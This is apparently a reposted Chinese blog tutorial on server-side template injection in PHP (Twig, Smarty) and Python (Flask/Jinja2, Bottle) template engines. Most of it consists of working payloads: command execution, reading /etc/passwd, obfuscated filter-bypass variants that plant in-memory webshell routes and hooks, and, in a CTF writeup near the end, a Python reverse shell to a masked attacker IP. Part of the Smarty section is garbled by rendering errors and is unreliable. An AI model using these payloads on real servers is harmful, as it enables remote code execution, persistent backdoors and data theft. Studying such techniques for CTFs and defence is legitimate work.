SSTI記錄

SSTI(Server-Side Template Injection,服務器段模板注入)
當前使用的一些框架,如python的flask、php的tp、java的spring,都采用成熟的MVC模式,用戶的輸入會先進入到Controller控制器,然后根據請求的類型和請求的指令發給對應的業務模型進行業務邏輯判斷、數據庫存儲、再把結果返回給view視圖層,經過模板渲染展示給用戶。
漏洞成因就是服務器段接收用戶惡意輸入未經任何處理就將其視為web應用模板的一部分,在渲染的過程,執行了用戶插入的惡意語句。
分類
PHP中的SSTI
twig、smarty、blade
Twig
簡介及測試
Twig是Symfony的模板引擎。Twig使用一個加載器loader(Twig_Loader_Array)來定位模板,以及一個環境變量來environment(Twig_Environment)來存儲配置信息。
其中,render()方法通過第一個參數載入模板,第二個參數中的變量來渲染模板。
//渲染內容用戶不可控

<?php // 加載 Composer 的自動加載文件 require_once dirname(__FILE__) . '\vendor\autoload.php'; // 創建 Twig 環境,使用 ArrayLoader 定義模板 $loader = new \Twig\Loader\ArrayLoader(['index' => 'Hello {{name}}']); $twig = new \Twig\Environment($loader); // 渲染模板,將用戶輸入的 name 參數傳入,設置默認值防止未定義錯誤 $output = $twig->render('index', array("name" => $_GET["name"] ?? '')); echo $output; ?>

//渲染內容用戶可控

<?php require_once dirname(__FILE__) . '\vendor\autoload.php'; $loader = new \Twig\Loader\ArrayLoader(); $twig = new \Twig\Environment($loader); $template = $_GET['template'] ?? 'Hello {{name}}'; // 用戶輸入模板 $loader->setTemplate('test', $template); echo $twig->render('test', ['name' => $_GET['name'] ?? '']); ?>

當渲染內容用戶可控時,可以進行xss和模板注入

判斷方式
由于{#comment#}作為Twig模板引擎的默認注釋形式,在前端輸出的時候不會顯示,因此可以利用這個來判斷是否使用了Twig模板引擎
可以使用下面這個語句進行測試:Mic{# comment #}{{28}}OK,
這里要經過url編碼成:Misc%7b%23comment%23%7d%7b%7b1
2%7d%7dx%7b%7b2*3%7d%7d

smarty
簡介及測試
最流行的php模板之一,為不受信任的模板執行提供了安全模式。這個會強制執行在php安全函數白名單中的函數,因此無法直接調用php中直接執行命令的函數(相當于一個disable_function)
但是 s m a r t y 內置變量可以用于訪問各種環境變量,例如使用 s e l f 得到 s m a r t y 這個類然后去找 s m a r t y 中可以使用的方法。例如: p u b l i c f u n c t i o n g e t S t r e a m V a r i a b l e ( smarty內置變量可以用于訪問各種環境變量,例如使用self得到smarty這個類然后去找smarty中可以使用的方法。 例如: public function getStreamVariable( smarty內置變量可以用于訪問各種環境變量,例如使用self得到smarty這個類然后去找smarty中可以使用的方法。例如:publicfunctiongetStreamVariable(variable)
{
$_result = ‘’;
f p = f o p e n ( fp = fopen( fp=fopen(variable, ‘r+’);
if (KaTeX parse error: Expected '}', got 'EOF' at end of input: … while (!feof(fp) && ( c u r r e n t l i n e = f g e t s ( current_line = fgets( currentl?ine=fgets(fp)) !== false) {
$_result .= KaTeX parse error: Expected 'EOF', got '}' at position 27: …e; }? fc…fp);
return $_result;
}
s m a r t y = i s s e t ( smarty = isset( smarty=isset(this->smarty) ? $this->smarty : t h i s ; i f ( this; if ( this;if(smarty->error_unassigned) {
throw new SmartyException(‘Undefined stream variable "’ . KaTeX parse error: Expected 'EOF', got '}' at position 26: … '"'); }? else { …smarty.version}

#{php}{/php}代碼執行
{php}phpinfo();{/php}

#借助{literal}標簽,因為{literal}可以讓一個模板區域的字符原樣輸出(只適合php5)

#利用getsrteamvariable獲取傳入變量的流(適合舊版本的Smarty)
{self::getStreamVariable(“file:///etc/passwd”)}

#{if}{/if}代碼執行
{if phpinfo()}{/if} {if system(‘id’)}{/if}

python中的SSTI
Jinja2(flask的一部分)、tornado、Django、
Jinja2
jinja2以Django模板那為模型,是Flask框架的一部分。jinja2會把模板參數提供的相應的值替換成{{…}}塊(一種特殊的占位符),告訴模板引擎這個位置的值從模板渲染時使用的數據。
jinja2能識別所有類型的變量,甚至一些復雜類型(列表、字典、對象)
JAVA中的SSTI
velocity、FreeMarker

繞過
長度限制
較短payload(48、47)
利用flask內置全局函數
{{url_for.globals.os.popen(‘whoami’).read()}}

{{lipsum.globals.os.popen(‘whoami’).read()}}
利用config變量更新(34字符以內)
config對象實質上是一個字典的子類,因此更新字典使用update()方法,可以不用set()
如果是使用flask,可以利用里面的config對象,通過多步變量更新,繞過lipsum.globals
這個長度最長為34個字符
{{config.update(c=config.update)}}
● config.update()方法用于更新config里面的鍵值對,整個就是給config復制update方法本身,用于動態創建變量
{{config.update(g=“globals”)}}
● 將config[“g”]賦值為__globals__
{{config.c(f=lipsum[config.g])}}
● lipsum[config.g]等價于lipsum[“globals”]
● config.c讓config.f=lipsum.globals,存儲全局變量
{{config.c(o=config.f.os)}}
● 將config.o賦值為lipsum.globals.os,即os模塊
{{config.c(p=config.o.popen)}}
● 將config.p賦值為lipsum.globals.os.popen
{{config.p(“cat /f*”).read()}}
進行命令執行。
命令總結
{{config.update(c=config.update)}}
{{config.update(g=“globals”)}}
{{config.c(f=lipsum[config.g])}}
{{config.c(o=config.f.os)}}
{{config.c(p=config.o.popen)}}
{{config.p(“cat /f*”).read()}}

flask內存🐎
基礎及測試
Flask框架在web應用模板渲染的過程中,利用render_template_string進行渲染,但是未對用戶傳輸的代碼進行過濾導致用戶可以通過注入惡意代碼注入內存馬
本地測試demo
from flask import Flask, request, render_template_string

app = Flask(name)

@app.route(‘/’)
def hello_world(): # put application’s code here
person = ‘knave’
if request.args.get(‘name’):
person = request.args.get(‘name’)
template = ‘

Hi, %s.

’ % person
return render_template_string(template)

if name == ‘main’:
app.run()

原始Payload: 然后在shell目錄通過對cmd傳參進行rce
url_for.globals[‘builtins’][‘eval’](“app.add_url_rule(‘/shell’, ‘shell’, lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘cmd’, ‘whoami’)).read())”,{‘_request_ctx_stack’:url_for.globals[‘_request_ctx_stack’],‘app’:url_for.globals[‘current_app’]})
逐層分析:
url_for.globals[‘builtins’][‘eval’](
“app.add_url_rule(
‘/shell’,
‘shell’,
lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘cmd’, ‘whoami’)).read()
)”,
{
‘_request_ctx_stack’:url_for.globals[‘_request_ctx_stack’],
‘app’:url_for.globals[‘current_app’]
}
)
url_for是Flask的內置屬性
globals__是python中函數對象的一個熟悉,表示函數定義所在的全局命名空間。該屬性是一個字典,包含了函數定義時可見的全局變量和函數。能返回函數所在模塊命名空間的所有變量
傳入{{url_for.globals}}可以看到這里支持__builtins

在__builtins__模塊中, Python在啟動時就直接為我們導入了很多內建函數,如:eval exec等

由于存在危險函數,可以直接調用命令來執行操作 (windows彈計算器要用calc命令)
也是成功彈計算器了
{{url_for.globals[‘builtins’][‘eval’](“import(‘os’).system(‘open -a Calculator’)”)}}
“app.add_url_rule(
‘/shell’,
‘shell’,
lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘cmd’, ‘whoami’)).read()
)”
這一部分payload的作用是動態添加一條路由,其調用了add_url_rule函數來添加路由,處理該路由的函數是由lamba關鍵字定義的匿名函數
查看add_url_rule函數

rule: 函數對應的URL規則,必須以 / 開頭
lamba匿名函數通過os庫中的popen函數執行web請求中獲取的cmd參數值并返回結果,參數值默認為whoami
{
‘_request_ctx_stack’:url_for.globals[‘_request_ctx_stack’],
‘app’:url_for.globals[‘current_app’]
}
這一段中_request_ctx_stack是Flask的一個全局變量,是一個LocalStack實例
Bypass繞過
url_for可替換成get_flashed_messages或request.__init__或request.application
eval可換成exec
關鍵字過濾可采用拼接: 如[‘builtins’][‘eval’]變為[‘bui’+'ltins’][‘ev’+‘al’]
[]可用.getitem()或.pop()替換.
過濾{{或者}}, 可以使用{%或者%}繞過, {%%}中間可以執行if語句, 利用這一點可以進行類似盲注的操作或者外帶代碼執行結果.
過濾_可以用編碼繞過, 如__class__替換成\x5f\x5fclass\x5f\x5f, 還可以用dir(0)[0][0]或者request[‘args’]或者request[‘values’]繞過.
過濾了.可以采用attr()或[]繞過
變形payload
request.application.self._get_data_for_json.getattribute(‘globa’+'ls’).getitem(‘bui’+'ltins’).getitem(‘ex’+‘ec’)(“app.add_url_rule(‘/h3rmesk1t’, ‘h3rmesk1t’, lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘shell’, ‘calc’)).read())”,{‘_request_ct’+‘x_stack’:get_flashed_messages.getattribute(‘globa’+'ls’).pop(‘request’+‘ctx_stack’),‘app’:get_flashed_messages.getattribute(‘globa’+'ls’).pop(‘curre’+‘nt_app’)})
get_flashed_messages|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fglobals\x5f\x5f”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“builtins”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“\u0065\u0076\u0061\u006c”)(“app.add_ur”+“l_rule(‘/h3rmesk1t’, ‘h3rmesk1t’, la”+“mbda :imp"+"ort('o”+“s’).po”+“pen(_request_c”+“tx_stack.to”+“p.re”+“quest.args.get(‘shell’)).re”+“ad())”,{‘\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b’:get_flashed_messages|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fglobals\x5f\x5f”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b”),‘app’:get_flashed_messages|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fglobals\x5f\x5f”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070”)})

bottle內存🐎
基礎及測試
demo
from bottle import template, Bottle,request,error

app = Bottle()
@error(404)
@app.route(‘/shell’)
def index():
result = eval(request.params.get(‘cmd’))
return template(‘Hello {{result}}, how are you?’,result)
@app.route(‘/’)
def index():
return ‘Hello world’
if name == ‘main’:
app.run(host=‘0.0.0.0’, port=8888,debug=True)
首先在裝飾器里面直接調用一個rout函數,可以看一下函數內容:
def route(self,path=None,method=‘GET’,callback=None,name=None,apply=None,skip=None, **config):
if callable(path): path, callback = None, path
plugins = makelist(apply)
skiplist = makelist(skip)
def decorator(callback):
if isinstance(callback, basestring): callback = load(callback)
for rule in makelist(path) or yieldroutes(callback):
for verb in makelist(method):
verb = verb.upper()
route = Route(self, rule, verb, callback,
name=name,
plugins=plugins,
skiplist=skiplist, **config)
self.add_route(route)
return callback
return decorator(callback) if callback else decorator
首先進行了一個判斷,如果path是一個可調用的對象(例如一個函數),就交換path和callback的角色,將原本path的值賦給callback,并將path設置為None。下面的就是裝飾器,專門用來接收callback參數,然后都是生成路由的規則。
最后進入add_route函數。
def add_route(self, route):
“”" Add a route object, but do not change the :data:Route.app
attribute.“”"
self.routes.append(route)
self.router.add(route.rule, route.method, route, name=route.name)
if DEBUG: route.prepare()
那么該如何利用callback函數呢,我們知道路由可以傳入一個callback作為回調參數或是處理請求函數,在路由本身解析的過程中,它的本意是與用戶自定義的一個函數進行綁定,那么如何通過不寫一個完整的def情況下自定義一個函數呢?這里就用到了pyth自帶的lambda表達式。
lambda表達式語法:
甚至還可以省略arguments函數,例如:lambda: print(666)
lambda arguments: expression
例如:執行下面這段poc
127.0.0.1:8888/shell?cmd=app.route(“/a”,“GET”,lambda :print(666))
然后訪問/a路由,雖然發現是空白,但是在服務器端,成功執行了代碼:

漏洞利用
思路(1)直接綁定路由
手動引入os執行命令
http://127.0.0.1:8888/shell?cmd=app.route(“/c”,“GET”,lambda :import(“os”).popen(‘whoami’).read())
接著訪問/c路由,成功執行命令,并且有回顯:

或者使用
http://127.0.0.1:8888/shell?cmd=app.route(“/c”,“GET”,lambda :import(‘os’).popen(request.params.get(‘a’)).read())
然后在/c路由下通過a參數進行命令執行也可以

思路(2)利用錯誤頁面
有時候框架會自己定義報錯頁面,例如404、500等頁面會有對應的輸出,在bottle框架中會讓我們自定義錯誤響應。
例如:

可以直接自定義一個新的404錯誤處理函數e,在頁面報錯404的時候進行命令執行。
http://127.0.0.1:8888/shell?cmd=app.error(404)(lambda e: import(‘os’).popen(request.query.get(‘a’)).read())
接著隨便訪問一個不存在的目錄,然后利用參數a進行命令執行即可

思路(3)利用hook
hook相當于一個鉤子,當程序執行的時候,hook掛在哪里就會執行哪里。
例如下面這些事件就會觸發鉤子。

例如這個增加鉤子的函數,可以選擇在執行鉤子集合(上面那些)前面加鉤子(insert(0,func)),也可以選擇在后面加鉤子(append(func))

這里以before_request為例(其他幾個效果一樣):
http://127.0.0.1:8888/shell?cmd=app.add_hook(“before_request”,lambda : print(4))
但是由于第一次訪問只是注冊了一個鉤子,不會立即執行,第二次新的請求進來才會觸發鉤子,即這里執行第二個命令的時候才會執行前一個命令。(在服務器端回顯)
但是這里還需要直接看到回顯,這里利用的是響應頭,想要控制響應頭一定要關注response這個操作對象。
可以翻到這個類

再繼續往下翻可以看到一個設置響應頭的方法

有了這個可以設置鍵值對了,現在關鍵點是如何調用response對象
我們在使用bottle框架的時候內置的response對象,我們在import之后可以直接調用,也可以使用__imort__引入__import__(‘bottle’).response即可。
poc:
app.add_hook(‘before_request’, lambda: import(‘bottle’).response.set_header( ‘X-flag’, import(‘base64’).b64encode( import(‘os’).popen(request.query.get(‘a’, ‘echo No command provided’)).read().encode(‘utf-8’) ).decode(‘utf-8’) ))
然后在跟頁面利用參數a執行命令,回顯會在響應頭中進行base64加密

還有一種利用bootle框架內的內置函數abort,不僅可以觸發一個異常,而且第二個參數是我們可以控制在回顯頁面上的。

poc:
app.add_hook(‘before_request’, lambda: import(‘bottle’).abort(666,import(‘os’).popen(request.query.get(‘a’)).read()))
這里abort隨便接一個不常見的端口號即可,然后以這個端口號為目錄進行訪問(隨便訪問一個目錄好像也可以),利用a傳參進行命令執行

題目練習
GHCTF Message in a Bottle
Bottle也是python的一個渲染框架。
from bottle import Bottle, request, template, run

app = Bottle()

存儲留言的列表

messages = []
def handle_message(message):
message_items = “”.join([f"“”


{msg}

#{idx + 1} - 剛剛

“”" for idx, msg in enumerate(message)])

board = f"""留言板內容......"""
return board

def waf(message):
return message.replace(“{”, “”).replace(“}”, “”)

@app.route(‘/’)
def index():
return template(handle_message(messages))

@app.route(‘/Clean’)
def Clean():
global messages
messages = []
return ‘’

@app.route(‘/submit’, method=‘POST’)
def submit():
message = waf(request.forms.get(‘message’))
messages.append(message)
return template(handle_message(messages))

if name == ‘main’:
run(app, host=‘localhost’, port=9000)
看源碼可以看到過濾了{和}

但是在官方文檔中看到,可以使用%來嵌入一行代碼,例如:
% result=5*5
可以使用<%和%>來嵌入代碼塊,例如:
<%
test
%>
方法一:
% (import(‘os’).popen(‘tac /flag >456.txt’).read())
執行沒有回顯,反彈shell沒成功,使用include包含
% include(‘456.txt’)
方法二:
% import(‘os’).popen(“python3 -c ‘import os,pty,socket;s=socket.socket();s.connect((“111.xxx.xxx.xxx”,7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(“sh”)’”).read()
方法三:
% from bottle import Bottle, request
% app=import(‘sys’).modules[‘main’].dict[‘app’]
% app.route(“/shell”,“GET”,lambda :import(‘os’).popen(request.params.get(‘lalala’)).read())

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/82732.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/82732.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/82732.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

探索邊緣計算:賦能物聯網的未來

摘要 隨著物聯網&#xff08;IoT&#xff09;技術的飛速發展&#xff0c;越來越多的設備接入網絡&#xff0c;產生了海量的數據。傳統的云計算模式在處理這些數據時面臨著延遲高、帶寬不足等問題&#xff0c;而邊緣計算的出現為解決這些問題提供了新的思路。本文將深入探討邊緣…

tabs切換#

1、html <el-tabs v-model"tabValue" tab-change"handleTabClick"><el-tab-pane label"集群" name"1"></el-tab-pane><el-tab-pane label"節點" name"2"></el-tab-pane></el-ta…

JSON 實體屬性映射的最佳實踐

一、結構與命名規范 ?保持字段命名一致性? JSON 字段名與實體屬性名應遵循統一的命名規則&#xff08;如駝峰命名或下劃線分隔&#xff09;&#xff0c;避免因大小寫差異導致映射失敗。 // 使用 JsonProperty 顯式指定映射關系&#xff08;Jackson&#xff09; public class …

hiveserver2與beeline進行遠程連接hive配置及遇到的問題

1、hiveserver2 參與用戶模擬功能&#xff0c;因為開啟后才能保證各用戶之間的權限隔離。 1.1、配置 $HADOOP_HOME/etc/hadoop/core-site.xml <!--配置所有節點的root用戶都可作為代理用戶--> <property><name>hadoop.proxyuser.root.hosts</name>&…

硅基計劃2.0 學習總結 壹 Java初階

一、初見Java &#xff08;1&#xff09;Java簡介 首先不得不承認Java是一門優秀的程序設計語言 其系列的計算機軟件和跨平臺體系包括國內的生態鏈完善是C/C語言難以彌補的 &#xff08;2&#xff09;Java SE 全稱Java Standard Edition&#xff0c;是Java體系的基礎 &am…

nRF5_SDK_17.1.0_ddde560之ble_app_uart_c 出錯

Error #541: ARM::CMSIS:CORE:5.3.0 component is missing (previously found in pack ARM.CMSIS.5.6.0) Error #541: NordicSemiconductor::Device:Startup:8.40.3 component is missing (previously found in pack NordicSemiconductor.nRF_DeviceFamilyPack.8.40.3) 下載n…

基于大模型預測的多發性硬化綜合診療方案研究報告大綱

目錄 一、引言二、文獻綜述三、大模型預測系統構建四、術前預測與手術方案制定五、術中監測與決策支持六、術后護理與并發癥預測七、麻醉方案智能優化八、統計分析與技術驗證九、實驗驗證與證據支持十、健康教育與指導系統十一、結論與展望一、引言 (一)研究背景與意義 多發…

bootstrap自助(抽樣)法

一&#xff0c;概念 一言以蔽之&#xff1a;從訓練集中有放回的均勻抽樣——》本質就是有放回抽樣&#xff1b; 自助法&#xff08;bootstrap&#xff09;是一種通過從數據集中重復抽樣來估計統計量分布的非參數方法。它可用于構建假設檢驗&#xff0c;當對參數模型的假設存在…

用1W字講透數據預處理,數據增強

大家好&#xff01;我是我不是小upper~ 今天咱們來聊聊數據增強 —— 這個在機器學習領域堪稱 “數據魔法” 的實用技術&#xff01; 在深度學習的世界里&#xff0c;數據就像模型的 “養分”。數據的質量和數量&#xff0c;直接決定了模型最終能達到的 “高度”。當數據不足時…

無人機空中物流優化:用 Python 打造高效配送模型

友友們好! 我是Echo_Wish,我的的新專欄《Python進階》以及《Python!實戰!》正式啟動啦!這是專為那些渴望提升Python技能的朋友們量身打造的專欄,無論你是已經有一定基礎的開發者,還是希望深入挖掘Python潛力的愛好者,這里都將是你不可錯過的寶藏。 在這個專欄中,你將會…

C++核心編程解析:模板、容器與異常處理全指南

文章目錄 一、模板1.1 定義1.2 作用1.3 函數模版1.3.1 格式 1.4 類模版1.4.1 格式1.4.2 代碼示例1.4.3 特性 二、容器2.1 概念2.2 容器特性2.3 分類2.4 向量vector2.4.1 特性2.4.2 初始化與操作2.4.3 插入刪除 2.5 迭代器2.6 列表&#xff08;list&#xff09;2.6.1 遍歷方式2.…

JWT的介紹與在Fastapi框架中的應用

什么是JWT JWT (JSON Web Token) 是一個開放標準 ( RFC 7519 )&#xff0c;它定義了一種緊湊且自包含的方式&#xff0c;用于在各方之間安全地以 JSON 對象的形式傳輸信息。由于這些信息經過數字簽名&#xff0c;因此可以被驗證和信任。JWT 可以使用密鑰&#xff08;采用HMAC算…

dfs第二次加訓 詳細題解 下

目錄 B4158 [BCSP-X 2024 12 月小學高年級組] 質數補全 思路 B4279 [藍橋杯青少年組國賽 2023] 數獨填數、 思路 P5198 [USACO19JAN] Icy Perimeter S 思路 P5429 [USACO19OPEN] Fence Planning S 思路 P6111 [USACO18JAN] MooTube S 思路 P6207 [USACO06OCT] Cows …

配置Hadoop集群環境準備

&#xff08;一&#xff09;Hadoop的運行模式 一共有三種&#xff1a; 本地運行。偽分布式完全分布式 &#xff08;二&#xff09;Hadoop的完全分布式運行 要模擬這個功能&#xff0c;我們需要做好如下的準備。 1&#xff09;準備3臺客戶機&#xff08;關閉防火墻、靜態IP、…

Python60日基礎學習打卡D12【蟲豸版】

退火算法 物理現象&#xff1a;退火現象指物體逐漸降溫的物理現象&#xff0c;溫度愈低&#xff0c;物體的能量狀態會低&#xff1b;溫度足夠低后&#xff0c;液體開始冷凝與結晶&#xff0c;在結晶狀態時&#xff0c;系統的能量狀態最低。大自然在緩慢降溫(即退火)時&#xf…

1.3.1 Linux音頻框架alsa詳細介紹

ALSA作為對舊OSS系統的替代方案&#xff0c;始于1998年。當時OSS還閉源商業化&#xff0c;因此社區開始開發開源的ALSA。經過多年的發展&#xff0c;ALSA成為Linux內核中音頻架構的標準。 結構和架構 ALSA由以下幾個主要部分組成&#xff1a; 內核模塊&#xff1a; 這是ALSA的…

# 07_Elastic Stack 從入門到實踐(七)---1

07_Elastic Stack 從入門到實踐(七)—1 一、Filebeat入門之讀取 Nginx 日志文件 1、首先啟動 Elasticsearch 集群 和 Nginx 服務,打開GoogleChrome 瀏覽器,點擊 elasticsearch-head 插件,連接Elasticsearch 集群 服務器。 # 查看網卡名 $ ip addr# 修改網卡配置,改為…

BUUCTF 大流量分析(三) 1

BUUCTF:https://buuoj.cn/challenges 文章目錄 題目描述&#xff1a;密文&#xff1a;解題思路&#xff1a;flag&#xff1a; 相關閱讀 CTF Wiki BUUCTF | 大流量分析 &#xff08;一&#xff09;&#xff08;二&#xff09;&#xff08;三&#xff09; 題目描述&#xff1a; …

數據庫的進階操作

目錄 1、數據庫的約束 2、查詢操作的進階 2.1 查詢插入 2.2 聚合查詢 2.3 運算查詢 2.3 分組查詢 2.4 聯合查詢 2.5 內外連接 2.6 子查詢 2.7 合并查詢 1、數據庫的約束 數據庫的約束是指&#xff1a;數據庫會自動的對數據的合法性進行校驗和檢查的一系列操作的機制&a…

.Net HttpClient 使用請求數據

HttpClient 使用請求數據 0、初始化及全局設置 //初始化&#xff1a;必須先執行一次 #!import ./ini.ipynb1、使用url 傳參 參數放在Url里&#xff0c;形如&#xff1a;http://www.baidu.com?namezhangsan&age18, GET、Head請求用的比較多。優點是簡單、方便&#xff0…